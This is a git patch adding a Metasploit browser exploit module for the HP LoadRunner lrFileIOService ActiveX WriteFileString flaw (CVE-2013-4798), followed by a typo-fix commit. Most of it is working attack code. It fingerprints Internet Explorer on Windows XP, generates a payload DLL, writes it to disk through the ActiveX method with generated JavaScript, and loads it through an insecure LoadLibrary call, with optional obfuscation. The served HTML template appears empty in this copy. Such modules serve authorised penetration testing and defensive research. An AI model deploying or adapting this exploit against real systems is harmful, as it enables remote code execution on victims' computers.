From 4a6bf1da7f130e46a3d87e7eb1fed378e81b0d9c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 29 Aug 2013 14:09:45 -0500 Subject: [PATCH 1/2] Add module for ZDI-13-207 --- .../browser/hp_loadrunner_writefilestring.rb | 152 ++++++++++++++++++ 1 file changed, 152 insertions(+) create mode 100644 modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb new file mode 100644 index 0000000000..6cb00107f0 --- /dev/null +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -0,0 +1,152 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::EXE + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :os_ver => OperatingSystems::WindowsVersions::XP, + :rank => NormalRanking, + :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}", + :method => "WriteFileString " + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability on the lrFileIOService ActiveX, as installed + with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method, + which allow the user to write arbitrary files. It's abused to drop a payload + embedded in a dll, which is later loaded through the Init() method from the + lrMdrvService control, by abusing an insecure LoadLibrary call. This module has + been tested successfully on IE8 on Windows XP. Virtualization based on the Low + Integrity Process, on Windows Vista and 7, will stop this stop this module because + the DLL will be dropped to a virtualized folder, which isn't used by LoadLibrary. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brian Gorenc', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-4798' ], + [ 'OSVDB', '95642' ], + [ 'BID', '61443'], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ], + [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ] + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic IE on Windows XP', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 24 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + # Just reminding the user to delete LrWeb2MdrvLoader.dll + # because migration and killing the exploited process is + # needed + def on_new_session(session) + print_status("New session... remember to delete LrWeb2MdrvLoader.dll") + end + + def is_target?(agent) + if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/ + return true + end + + return false + end + + def create_dll_js(object_id, dll_data) + dll_js = "" + first = true + dll_data.each_char { |chunk| + if first + dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n" + first = false + else + dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n" + end + } + return dll_js + end + + def load_exploit_html(cli) + return nil if ((p = regenerate_payload(cli)) == nil) + + file_io = rand_text_alpha(rand(10) + 8) + mdrv_service = rand_text_alpha(rand(10) + 8) + dll_data = generate_payload_dll({ :code => p.encoded }) + drop_dll_js = create_dll_js(file_io, dll_data) + + html = %Q| + + + + + + + + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + # Avoid the attack if no suitable target found + if not is_target?(agent) + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(cli) + if html.nil? + send_not_found(cli) + return + end + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end \ No newline at end of file From 657be3a3d94741d4a622522f5aa4f6080118e658 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 29 Aug 2013 14:42:59 -0500 Subject: [PATCH 2/2] Fix typo --- .../exploits/windows/browser/hp_loadrunner_writefilestring.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index 6cb00107f0..a7b7b38c0d 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -36,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote embedded in a dll, which is later loaded through the Init() method from the lrMdrvService control, by abusing an insecure LoadLibrary call. This module has been tested successfully on IE8 on Windows XP. Virtualization based on the Low - Integrity Process, on Windows Vista and 7, will stop this stop this module because - the DLL will be dropped to a virtualized folder, which isn't used by LoadLibrary. + Integrity Process, on Windows Vista and 7, will stop this module because the DLL + will be dropped to a virtualized folder, which isn't used by LoadLibrary. }, 'License' => MSF_LICENSE, 'Author' =>